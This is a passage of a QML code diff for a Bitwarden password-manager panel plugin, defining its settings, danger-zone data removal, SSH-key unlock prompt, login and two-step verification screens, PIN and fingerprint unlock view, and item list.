blocked: !isGroup && root.settingBlocked(modelData) + + Item { + visible: !isGroup + width: parent.width + implicitHeight: visible + ? Math.max(settingTextCol.implicitHeight, settingControlRow.implicitHeight, Style.space(32)) + : 0 + + // Keyboard cursor: a bar in the gutter, so the row it marks is + // unmistakable without recolouring the whole row. + Rectangle { + anchors.left: parent.left + anchors.verticalCenter: parent.verticalCenter + width: Style.space(3) + height: parent.height - Style.space(6) + radius: width / 2 + color: Color.accent + visible: cursored + } + + Column { + id: settingTextCol + anchors.left: parent.left + anchors.leftMargin: cursored ? Style.space(10) : 0 + anchors.right: settingControlRow.left + anchors.rightMargin: Style.space(12) + anchors.verticalCenter: parent.verticalCenter + spacing: Style.space(2) + + Text { + textFormat: Text.PlainText + width: parent.width + text: modelData.label + color: blocked ? root.dim : root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + + Text { + textFormat: Text.PlainText + width: parent.width + // `|| ""` because this binding also runs for the heading + // rows, which carry no description: an invisible item's + // bindings are evaluated all the same, and undefined + // reaches a QString property as a warning per frame. + text: blocked + ? "Needs fingerprint setup -- see Dependencies below." + : (modelData.description || "") + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + } + + Row { + id: settingControlRow + anchors.right: parent.right + anchors.verticalCenter: parent.verticalCenter + spacing: Style.space(8) + + ToggleSwitch { + anchors.verticalCenter: parent.verticalCenter + visible: modelData.type === "bool" + checked: modelData.type === "bool" && root.settingValue(modelData) + interactive: !blocked + foreground: root.fg + accent: Color.accent + onToggled: { + if (blocked) return + // A PIN cannot simply be switched on: it has to be chosen, + // and encrypting it needs the master password. + if (modelData.action === "pin") { + if (checked) root.disablePinUnlock() + else root.beginPinSetup() + return + } + if (modelData.action === "fingerprint") { + if (checked) root.forgetFingerprintUnlock() + else root.beginFingerprintSetup() + return + } + root.writeSetting(modelData.key, !checked, "bool") + } + } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + visible: modelData.type === "int" && !!modelData.unit + text: modelData.unit || "" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + + NumberField { + anchors.verticalCenter: parent.verticalCenter + visible: modelData.type === "int" + value: modelData.type === "int" ? root.settingValue(modelData) : 0 + from: modelData.min || 0 + to: modelData.max || 100 + stepSize: modelData.step || 1 + foreground: root.fg + accent: Color.accent + fontFamily: root.fontFamily + onModified: function(v) { root.writeSetting(modelData.key, v, "int") } + } + } + } + + Text { + textFormat: Text.PlainText + visible: modelData.type === "int" && root.settingValue(modelData) === 0 && !!modelData.zeroLabel + text: (modelData.zeroLabel || "") + " -- this is disabled." + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + + PanelSeparator { width: parent.width } + + // The SSH agent has more to say than its four toggles: what the + // helper is doing, and whether the user's terminals will reach + // it. That block used to sit after all four groups, which was + // survivable while nothing folded -- now it would leave a + // collapsed SSH Agent section with its status still on screen, + // attached to nothing. It loads at the end of the group it + // belongs to, so folding the section folds the whole section. + // + // A Loader rather than a visible binding: this delegate is + // instantiated for every row, and only one of them wants it. + Loader { + width: parent.width + active: !isGroup && modelData.group === "sshAgent" + && modelData.lastInGroup === true + visible: active + sourceComponent: SshAgentSettings { panel: root } + } + } + } + + Item { width: parent.width; height: Style.space(18) } + + PanelSectionHeader { + textFormat: Text.PlainText + text: "MAINTENANCE" + foreground: root.fg + fontFamily: root.fontFamily + } + + Row { + width: parent.width + spacing: Style.space(8) + + Button { + text: "Dependencies" + iconText: "󰏗" + tooltipText: "Check the tools this plugin needs" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: { + root.setupDismissed = false + root.checkDependencies() + root.currentScreen = "setup" + } + } + + Button { + visible: root.fingerprintStored + text: "Forget Fingerprint" + iconText: "󰈷" + tooltipText: "Remove the stored master password from the OS keyring" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.forgetFingerprintUnlock() + } + } + + // Everything below this line destroys something. It was drawn in a + // row visually identical to the one above it, so "Dependencies" and + // "Remove Plugin Data" looked equally safe to press. + Item { width: parent.width; height: Style.space(18) } + + PanelSeparator { width: parent.width } + + PanelSectionHeader { + textFormat: Text.PlainText + text: "DANGER ZONE" + foreground: Color.urgent + fontFamily: root.fontFamily + } + + // Its own row: this sits beside two buttons already, and a third + // one plus the two the confirmation adds overflow the panel width + // and elide their labels -- "Remove Plugin Data" reading as + // "Remove Plugin" is a considerably more alarming button. + Row { + width: parent.width + spacing: Style.space(8) + + Button { + visible: !root.pluginDataConfirmPending + text: "Remove Plugin Data" + iconText: "󰩹" + tooltipText: "Clear the keyring entries, learned suggestions and exported public keys this plugin stored" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + enabled: !root.pluginDataBusy + onClicked: root.beginPluginDataRemoval() + } + + Button { + visible: root.pluginDataConfirmPending + text: "Remove Everything" + iconText: "󰩹" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + enabled: !root.pluginDataBusy + onClicked: root.beginPluginDataRemoval() + } + + Button { + visible: root.pluginDataConfirmPending + text: "Cancel" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.cancelPluginDataRemoval() + } + } + + // Run this before removing the plugin: once the folder is gone + // there is no code left to do it, and `omarchy plugin remove` has + // no uninstall hook to call. + Text { + textFormat: Text.PlainText + width: parent.width + visible: root.pluginDataConfirmPending + text: "This clears the stored master password, learned suggestions and exported public keys. " + + "Settings and your vault are untouched. It cannot be undone." + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + Text { + textFormat: Text.PlainText + width: parent.width + visible: root.pluginDataFlash !== "" + text: root.pluginDataFlash + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: "Saved to the plugin's entry in ~/.config/omarchy/shell.json via `omarchy bar set`." + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + } + } + } + + // An SSH request waiting on an unlock. Shown above whatever unlock + // control the vault is configured for, so the reason for the prompt + // is visible without the unlock itself authorising anything. + Column { + // Stays up through the load as well as the unlock: the request is + // held across the vault read, so dropping the block the moment the + // vault unlocks would leave the user watching nothing for seconds. + visible: !root.sshAgentApprovalPopup && root.sshUnlockRequest !== null + && (root.status === "locked" || root.sshAgentLoadActive) + width: parent.width + spacing: Style.space(6) + + PanelSeparator { width: parent.width } + + Text { + textFormat: Text.PlainText + width: parent.width + text: "󰌆 An SSH key is needed" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + + SshCaption { + text: !root.sshUnlockRequest + ? "" + : (root.sshUnlockRequest.keyName !== "" + ? root.sshUnlockRequest.keyName + " · requested by " + + root.sshUnlockRequest.processName + // An identity listing names no key: the client is asking + // which keys exist, and until the vault is open there is no + // answer to give. + : root.sshUnlockRequest.processName + + " is asking which SSH keys are available") + color: root.fg + } + + SshCaption { + text: root.sshAgentLoadActive + ? Model.sshAgentLoadingNote() + : "Unlocking loads your keys. You will still be asked before anything is signed." + } + + Row { + width: parent.width + spacing: Style.space(8) + + Button { + visible: !root.sshAgentLoadActive + text: "Not now (Esc)" + iconText: "󰅘" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.denySshRequest() + } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: root.sshPromptRemainingSec + "s left" + color: root.sshPromptRemainingSec <= 5 ? root.urgent : root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + } + } + + // SCREEN: SSH signing approval, in SshApprovalScreen.qml. + SshApprovalScreen { + panel: root + active: !root.sshAgentApprovalPopup && root.activeScreen === "sshApproval" + } + + // ------------------------------------------------------------------- + // SCREEN 1: LOGIN VIEW (When unauthenticated) + // ------------------------------------------------------------------- + Column { + visible: root.status === "unauthenticated" && root.activeScreen !== "settings" && root.activeScreen !== "setup" && root.activeScreen !== "pin" && root.activeScreen !== "fingerprint" + width: parent.width + spacing: Style.space(12) + + PanelSeparator { width: parent.width } + + Row { + anchors.horizontalCenter: parent.horizontalCenter + spacing: Style.space(8) + + Button { + text: "Email & Password" + iconText: "󰇮" + selected: root.loginMethod === "email" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: { + root.invalidateEmailLoginPrewarm() + root.resetEmailLoginSecondFactor() + root.loginMethod = "email" + } + } + + Button { + text: "API Key" + iconText: "󰌋" + selected: root.loginMethod === "apikey" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: { + root.invalidateEmailLoginPrewarm() + root.resetEmailLoginSecondFactor() + root.loginMethod = "apikey" + } + } + } + + Column { + visible: root.loginMethod !== "email" || root.loginCredentialsStage + width: parent.width + spacing: Style.space(5) + + Text { + textFormat: Text.PlainText + text: "SERVER REGION" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + + Row { + anchors.horizontalCenter: parent.horizontalCenter + spacing: Style.space(6) + + Button { + text: "US" + selected: root.loginServerRegion === "us" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.selectLoginServerRegion("us") + } + + Button { + text: "EU" + selected: root.loginServerRegion === "eu" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.selectLoginServerRegion("eu") + } + + Button { + text: "Custom" + selected: root.loginServerRegion === "custom" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.selectLoginServerRegion("custom") + } + } + + TextField { + id: serverUrlField + visible: root.loginServerRegion === "custom" + width: parent.width + placeholderText: "https://vault.example.com" + text: root.loginServerUrl + onTextChanged: root.loginServerUrl = text + onTextEdited: { + root.loginServerUrl = text + root.resetEmailLoginSecondFactor() + root.invalidateEmailLoginPrewarm() + } + } + } + + // METHOD A: Email & Password + Column { + visible: root.loginMethod === "email" + width: parent.width + spacing: Style.space(10) + + Column { + visible: root.loginCredentialsStage + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "EMAIL ADDRESS"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + id: emailField + width: parent.width + placeholderText: "you@example.com" + text: root.loginEmail + onTextChanged: root.loginEmail = text + onTextEdited: { + root.loginEmail = text + root.resetEmailLoginSecondFactor() + root.invalidateEmailLoginPrewarm() + } + onAccepted: loginPassField.forceActiveFocus() + } + } + + Column { + visible: root.loginCredentialsStage + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "MASTER PASSWORD"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + Row { + width: parent.width + spacing: Style.space(6) + TextField { + id: loginPassField + width: parent.width - eyeBtnLogin.width - Style.space(6) + placeholderText: "Master password..." + password: !eyeBtnLogin.revealed + text: root.loginPassword + onTextChanged: root.loginPassword = text + onTextEdited: { + root.loginPassword = text + if (root.show2faField) { + root.resetEmailLoginSecondFactor() + root.invalidateEmailLoginPrewarm() + } + } + onActiveFocusChanged: { + if (activeFocus) root.prepareEmailLogin() + } + onAccepted: root.show2faField ? code2faField.forceActiveFocus() : root.submitLogin() + } + Button { + id: eyeBtnLogin + property bool revealed: false + iconText: revealed ? "󰈉" : "󰈈" + tooltipText: revealed ? "Hide password" : "Show password" + fontFamily: root.fontFamily + onClicked: revealed = !revealed + } + } + } + + // New-device verification. bw takes this code from a prompt and + // from nothing else, so answering it here is the difference + // between finishing the login in the panel and sending the user to + // a terminal to do it. See deviceVerificationLoginCommand(). + Column { + visible: root.showDeviceCodeField + width: parent.width + spacing: Style.space(3) + + Text { + textFormat: Text.PlainText + text: "NEW DEVICE VERIFICATION" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: "Bitwarden has not seen this machine before and emailed a code to " + + "your login address. This is asked once per device." + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + TextField { + id: deviceCodeField + width: parent.width + placeholderText: "Code from your email..." + text: root.loginDeviceCode + onTextChanged: root.loginDeviceCode = text + onAccepted: root.submitDeviceVerification() + } + + Button { + width: parent.width + text: root.isLoading ? "Verifying device..." : "Verify Device & Unlock" + iconText: root.isLoading ? "󰑐" : "󰌋" + iconSpinning: root.isLoading + selected: true + accent: Color.accent + fontFamily: root.fontFamily + enabled: !root.isLoading + onClicked: root.submitDeviceVerification() + } + + Row { + width: parent.width + spacing: Style.space(6) + + Button { + text: "Back to credentials" + iconText: "󰁍" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: { + root.errorMessage = "" + root.resetEmailLoginSecondFactor() + root.invalidateEmailLoginPrewarm() + Qt.callLater(function() { loginPassField.forceActiveFocus() }) + } + } + + // Still here, because bw in a real terminal can answer + // anything this path cannot. + Button { + text: "Use Terminal Instead" + iconText: "󰞷" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.launchTerminalLogin() + } + } + } + + // bw asks this question only when an account has more than one + // method it can use, and only a terminal ever got to see it. The + // pick is sent on its own, before any code is collected, so a + // wrong one costs a round trip rather than a typed code. + Column { + visible: root.show2faMethodPicker + width: parent.width + spacing: Style.space(6) + + Text { + textFormat: Text.PlainText + text: "TWO-STEP METHOD" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: "Which one do you use for this account? Bitwarden is asked for a code " + + "only after you choose, and the choice is remembered for next time." + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + Repeater { + model: Model.twoFactorMethods() + + Column { + width: parent.width + spacing: Style.space(2) + + Button { + width: parent.width + text: modelData.label + iconText: "󰌋" + fontFamily: root.fontFamily + enabled: !root.isLoading + onClicked: root.chooseTwoFactorMethod(modelData.method) + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: modelData.hint + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + } + } + + Button { + text: "Back to credentials" + iconText: "󰁍" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: { + root.errorMessage = "" + root.resetEmailLoginSecondFactor() + root.invalidateEmailLoginPrewarm() + Qt.callLater(function() { loginPassField.forceActiveFocus() }) + } + } + } + + // Bitwarden tells us whether this account needs a second factor. + Column { + visible: root.show2faField + width: parent.width + spacing: Style.space(3) + + Text { + textFormat: Text.PlainText + text: root.login2faMethodLabel + ? "TWO-STEP CODE (" + root.login2faMethodLabel.toUpperCase() + ")" + : "TWO-STEP VERIFICATION CODE (2FA)" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + + TextField { + id: code2faField + width: parent.width + placeholderText: "6-digit Authenticator / Email verification code..." + text: root.login2faCode + onTextChanged: { + root.login2faCode = text + root.invalidateEmailLoginPrewarm() + } + onAccepted: root.submitLogin() + } + + Row { + width: parent.width + spacing: Style.space(6) + + Button { + text: "Back to credentials" + iconText: "󰁍" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: { + root.errorMessage = "" + root.resetEmailLoginSecondFactor() + root.invalidateEmailLoginPrewarm() + Qt.callLater(function() { loginPassField.forceActiveFocus() }) + } + } + + // The escape hatch from a remembered method. It is the only + // way back to the question once an account has answered it, so + // it stays available even when nothing has gone wrong yet. + Button { + text: "Change method" + iconText: "󰑐" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: { + root.invalidateEmailLoginPrewarm() + root.reopenTwoFactorMethodPicker() + } + } + } + } + + Button { + // The picker stage submits by choosing, and the device stage has + // its own button, so this one belongs to the stages that share + // the ordinary login command. + visible: !root.show2faMethodPicker && !root.showDeviceCodeField + width: parent.width + text: root.emailLoginButtonText() + iconText: root.logoutCleanupFailed ? "󰑐" : ((root.logoutPending || root.isLoading) ? "󰑐" : "󰌋") + iconSpinning: !root.logoutCleanupFailed && (root.logoutPending || root.isLoading) + selected: true + accent: Color.accent + fontFamily: root.fontFamily + enabled: root.logoutCleanupFailed || (!root.logoutPending && !root.isLoading) + onClicked: root.logoutCleanupFailed ? root.retryLogoutCleanup() : root.submitLogin() + } + } + + // METHOD B: API Key + Column { + visible: root.loginMethod === "apikey" + width: parent.width + spacing: Style.space(10) + + Column { + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "CLIENT ID"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + id: apiClientIdField + width: parent.width + placeholderText: "user.xxxxxxxx-xxxx-xxxx..." + text: root.loginClientId + onTextChanged: root.loginClientId = text + } + } + + Column { + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "CLIENT SECRET"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + id: apiClientSecretField + width: parent.width + placeholderText: "Client secret string..." + password: true + text: root.loginClientSecret + onTextChanged: root.loginClientSecret = text + } + } + + Column { + width: parent.width + spacing: Style.space(3) + Text { textFormat: Text.PlainText; text: "MASTER PASSWORD"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + id: apiMasterField + width: parent.width + placeholderText: "Master password to unlock vault..." + password: true + text: root.loginPassword + onTextChanged: root.loginPassword = text + onAccepted: root.submitLogin() + } + } + + Button { + width: parent.width + text: root.logoutCleanupFailed ? "Retry Logout Cleanup" : (root.logoutPending ? "Finishing logout..." : (root.isLoading ? "Logging in..." : "Log In with API Key")) + iconText: root.logoutCleanupFailed ? "󰑐" : ((root.logoutPending || root.isLoading) ? "󰑐" : "󰌋") + iconSpinning: !root.logoutCleanupFailed && (root.logoutPending || root.isLoading) + selected: true + accent: Color.accent + fontFamily: root.fontFamily + enabled: root.logoutCleanupFailed || (!root.logoutPending && !root.isLoading) + onClicked: root.logoutCleanupFailed ? root.retryLogoutCleanup() : root.submitLogin() + } + } + + // Normally the quieter of the two ways in. When Bitwarden has asked + // to verify this device it is the only one, so it stops being an + // aside and says what it is for. + Row { + anchors.horizontalCenter: parent.horizontalCenter + spacing: Style.space(6) + Text { + textFormat: Text.PlainText + text: root.loginDeviceVerification + ? "Device verification needs a terminal:" + : "Prefer interactive TTY login?" + color: root.loginDeviceVerification ? Color.accent : root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: root.loginDeviceVerification + anchors.verticalCenter: parent.verticalCenter + } + Button { + text: root.loginDeviceVerification ? "Finish in Terminal" : "Launch Terminal" + iconText: "󰞷" + selected: root.loginDeviceVerification + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.launchTerminalLogin() + } + } + } + + // ------------------------------------------------------------------- + // SCREEN 2: LOCKED VIEW (When authenticated, but vault locked) + // ------------------------------------------------------------------- + Column { + visible: (root.status === "locked" || root.status === "checking") + && root.currentScreen !== "settings" && root.currentScreen !== "setup" && root.currentScreen !== "pin" && root.currentScreen !== "fingerprint" + width: parent.width + spacing: Style.space(14) + + PanelSeparator { width: parent.width } + + Item { height: Style.space(8); width: 1 } + + Column { + anchors.horizontalCenter: parent.horizontalCenter + spacing: Style.space(6) + + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: root.fingerprintScanning ? "󰈷" : "󰌋" + color: root.fingerprintScanning ? Color.accent : root.fg + opacity: 0.85 + font.family: root.fontFamily + font.pixelSize: Style.space(38) + + SequentialAnimation on opacity { + running: root.fingerprintScanning + loops: Animation.Infinite + NumberAnimation { to: 0.35; duration: 700; easing.type: Easing.InOutQuad } + NumberAnimation { to: 0.95; duration: 700; easing.type: Easing.InOutQuad } + onStopped: parent.opacity = 0.85 + } + } + + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: root.fingerprintReady ? "Unlock Vault" : "Enter Master Password" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.title + font.bold: true + } + + Text { + textFormat: Text.PlainText + visible: root.userEmail !== "" + anchors.horizontalCenter: parent.horizontalCenter + text: root.userEmail + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + } + } + + // Fingerprint status / prompt + Text { + textFormat: Text.PlainText + visible: root.fingerprintMessage !== "" + width: parent.width + horizontalAlignment: Text.AlignHCenter + text: root.fingerprintMessage + color: root.fingerprintScanning ? Color.accent : root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + // Offered when fingerprint unlock is on but nothing is stored yet. + Text { + textFormat: Text.PlainText + visible: root.fingerprintUnlock && root.fingerprintAvailable && !root.fingerprintStored + width: parent.width + horizontalAlignment: Text.AlignHCenter + text: "󰈷 Unlock once with your master password to enable fingerprint unlock." + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + // PIN entry, offered above the password field when one is set. + Column { + visible: root.pinReady + width: parent.width + spacing: Style.space(8) + + Text { textFormat: Text.PlainText; text: "PIN"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + + Row { + width: parent.width + spacing: Style.space(8) + + TextField { + id: pinField + width: parent.width - pinUnlockBtn.width - Style.space(8) + placeholderText: "Enter your PIN..." + password: true + text: root.pinEntry + onTextChanged: root.pinEntry = text.replace(/[^0-9]/g, "") + onAccepted: root.submitPinUnlock() + enabled: !root.pinBusy && !root.isUnlocking + } + + Button { + id: pinUnlockBtn + text: root.pinBusy ? "Checking..." : "Unlock" + iconText: root.pinBusy ? "󰑐" : "󰌿" + iconSpinning: root.pinBusy + selected: true + accent: Color.accent + fontFamily: root.fontFamily + enabled: !root.pinBusy && !root.isUnlocking + onClicked: root.submitPinUnlock() + } + } + + Text { + textFormat: Text.PlainText + visible: root.pinError !== "" + width: parent.width + text: root.pinError + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + Text { + textFormat: Text.PlainText + text: "or use your master password below" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + } + + // A PIN was set but the vault rejected it -- surfaced even once + // pinReady has gone false, so the reason is not lost. + Text { + textFormat: Text.PlainText + visible: !root.pinReady && root.pinError !== "" + width: parent.width + horizontalAlignment: Text.AlignHCenter + text: root.pinError + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + Column { + width: parent.width + spacing: Style.space(10) + + Button { + visible: root.fingerprintReady + width: parent.width + text: root.fingerprintScanning ? "Waiting for fingerprint..." : "Unlock with Fingerprint" + iconText: "󰈷" + selected: true + accent: Color.accent + fontFamily: root.fontFamily + enabled: !root.isUnlocking && !root.fingerprintScanning + onClicked: root.startFingerprintUnlock() + } + + Row { + width: parent.width + spacing: Style.space(8) + + TextField { + id: passField + width: parent.width - eyeBtnUnlock.width - Style.space(8) + placeholderText: "Master password..." + password: !eyeBtnUnlock.revealed + text: root.masterPassword + onTextChanged: root.masterPassword = text + onActiveFocusChanged: { + if (activeFocus) root.prepareUnlock() + } + onAccepted: root.unlockVault() + enabled: !root.isUnlocking + } + + Button { + id: eyeBtnUnlock + property bool revealed: false + iconText: revealed ? "󰈉" : "󰈈" + tooltipText: revealed ? "Hide password" : "Show password" + fontFamily: root.fontFamily + onClicked: revealed = !revealed + } + } + + Button { + width: parent.width + text: root.isUnlocking ? "Unlocking..." : "Unlock Vault" + iconText: root.isUnlocking ? "󰑐" : "󰌋" + iconSpinning: root.isUnlocking + selected: true + accent: Color.accent + fontFamily: root.fontFamily + enabled: !root.isUnlocking + onClicked: root.unlockVault() + } + } + + Row { + anchors.horizontalCenter: parent.horizontalCenter + spacing: Style.space(8) + + Button { + text: "Switch / Log Out" + iconText: "󰍃" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.logoutAccount() + } + + Button { + visible: root.fingerprintStored + text: "Forget Fingerprint" + iconText: "󰈷" + tooltipText: "Remove the stored master password from the OS keyring" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.forgetFingerprintUnlock() + } + } + } + + // ------------------------------------------------------------------- + // SCREEN 3: UNLOCKED - ITEM LIST VIEW + // ------------------------------------------------------------------- + Column { + visible: root.status === "unlocked" && root.activeScreen === "main" + width: parent.width + spacing: Style.space(8) + + // Search Field + Row { + width: parent.width + spacing: Style.space(6) + + TextField { + id: searchField + width: parent.width - (root.searchQuery ? clearSearchBtn.width + Style.space(6) : 0) + placeholderText: "Search items, usernames, URLs, public keys, fingerprints..." + text: root.searchQuery + onTextChanged: { + root.searchQuery = text + root.selectedIndex = 0 + root.closeFilterGroup() + searchDebounceTimer.restart() + } + // Alt+letter runs the same shortcuts without leaving the box. + Keys.onPressed: function(event) { + if (!(event.modifiers & Qt.AltModifier)) return + if (!event.text) return + if (root.runAltShortcut(String(event.text).toLowerCase())) { + event.accepted = true + } + } + Keys.onDownPressed: { + keyCatcher.forceActiveFocus() + root.moveCursor(1) + } + Keys.onReturnPressed: { + var itm = root.getSelectedItem() + if (itm) root.handleSmartEnter(itm) + } + // Only while the search box is the screen. A hidden item keeps + // active focus in Qt, so without this guard the search field + // still owned Escape from behind the item form and closed the + // whole panel instead of cancelling the edit. + Keys.onEscapePressed: function(event) { + if (root.currentScreen !== "main") { + event.accepted = false // let it reach the panel's dispatch + return + } + if (text) text = "" + else root.handleEscape() + } + } + + PanelActionButton { + id: clearSearchBtn + visible: root.searchQuery !== "" + iconText: "󰅖" + tooltipText: "Clear search" + fontFamily: root.fontFamily + onClicked: searchField.text = "" + } + } + + // Contextual Suggestion Banner + BorderSurface { + visible: Boolean(root.suggestedItems.length > 0 && !root.suggestionsDismissed && root.searchQuery.trim() === "" && root.detectedContext && root.detectedContext.displayName) + width: parent.width + implicitHeight: Style.space(28) + radius: Style.cornerRadius + color: Style.selectedFillFor(root.fg, Color.accent) + borderSpec: Border.controlSpec("normal", Color.accent, Color.accent) + + // A RowLayout, so the label can be told to take whatever the glyph + // and the dismiss button leave rather than a hand-measured slice of + // the banner. The name in it is a window title, so its length is + // not ours to predict. + RowLayout { + anchors.fill: parent + anchors.leftMargin: Style.space(8) + anchors.rightMargin: Style.space(6) + spacing: Style.space(6) + + Text { + textFormat: Text.PlainText + Layout.alignment: Qt.AlignVCenter + text: "󰌠" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + } + + Text { + textFormat: Text.PlainText + Layout.alignment: Qt.AlignVCenter + Layout.fillWidth: true + text: "Suggested for " + (root.detectedContext ? root.detectedContext.displayName : "active window") + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + elide: Text.ElideRight + } + + PanelActionButton { + Layout.alignment: Qt.AlignVCenter + iconText: "󰅖" + tooltipText: "Dismiss suggestion" + fontFamily: root.fontFamily + size: Style.space(18) + fontSize: Style.font.caption + onClicked: { + root.suggestionsDismissed = true + root.rebuildFilter() + } + } + } + } + + PanelSeparator { width: parent.width } + + // Item List View (Fast Virtualized ListView with Delegate Recycling) + Item { + width: parent.width + height: Style.space(320) + + ListView { + id: itemsListView + anchors.fill: parent + clip: true + model: root.filteredItems + spacing: Style.space(4) + boundsBehavior: Flickable.StopAtBounds + reuseItems: true + currentIndex: root.selectedIndex + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: itemsListView } + + delegate: BorderSurface { + id: itemRow + required property var modelData + required property int index + + readonly property var itemData: modelData + readonly property bool isSelected: root.cursorActive && root.selectedIndex === index + readonly property bool isHovered: rowMouseArea.containsMouse + + width: ListView.view.width - root.scrollGutter + implicitHeight: Style.space(46) + radius: Style.cornerRadius + color: isSelected + ? Style.selectedFillFor(root.fg, Color.accent) + : (isHovered ? Style.hoverFillFor(root.fg, Color.accent) : "transparent") + borderSpec: isSelected + ? Border.controlSpec("selected", root.fg, Color.accent) + : Border.none() + + Row { + anchors.fill: parent + anchors.leftMargin: Style.space(10) + anchors.rightMargin: Style.space(8) + spacing: Style.space(10) + + // Type Icon, or a spinner while the vault is being told about + // this row. The glyph is the row's identity, so the saving + // state borrows it rather than adding a second marker and + // reflowing everything beside it. + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: itemData.pending ? "󰑐" : Model.itemTypeGlyph(itemData.typeCode) + color: itemData.pending + ? root.dim + : (itemData.favorite ? Color.accent : root.fg) + font.family: root.fontFamily + font.pixelSize: Style.font.title + width: Style.space(20) + // The glyph is narrower than the column it sits in, so + // without centring it the spin happens about the middle of + // the box and the icon orbits that point instead of + // turning on its own axis. Same shape the kit's own + // spinning button icon uses. + horizontalAlignment: Text.AlignHCenter + transformOrigin: Item.Center + + RotationAnimation on rotation { + running: Boolean(itemData.pending) + loops: Animation.Infinite + from: 0 + to: 360 + duration: 900 + } + } + + // Labels (Title + Subtitle + Org Tag) + Column { + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(20) - actionButtonsRow.implicitWidth - Style.space(28) + spacing: Style.space(1) + + Row { + spacing: Style.space(4) + width: parent.width + + Text { + textFormat: Text.PlainText + text: itemData.name + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + font.bold: true + elide: Text.ElideRight + width: Math.min(implicitWidth, parent.width + - (itemData.favorite ? Style.space(16) : 0) + - (itemData.hasAttachments ? Style.space(18) : 0)) + } + + Text { + textFormat: Text.PlainText + visible: itemData.favorite + text: "★" + color: Color.accent + font.pixelSize: Style.font.bodySmall + anchors.verticalCenter: parent.verticalCenter + } + + // A paperclip is the whole badge: the file names live in 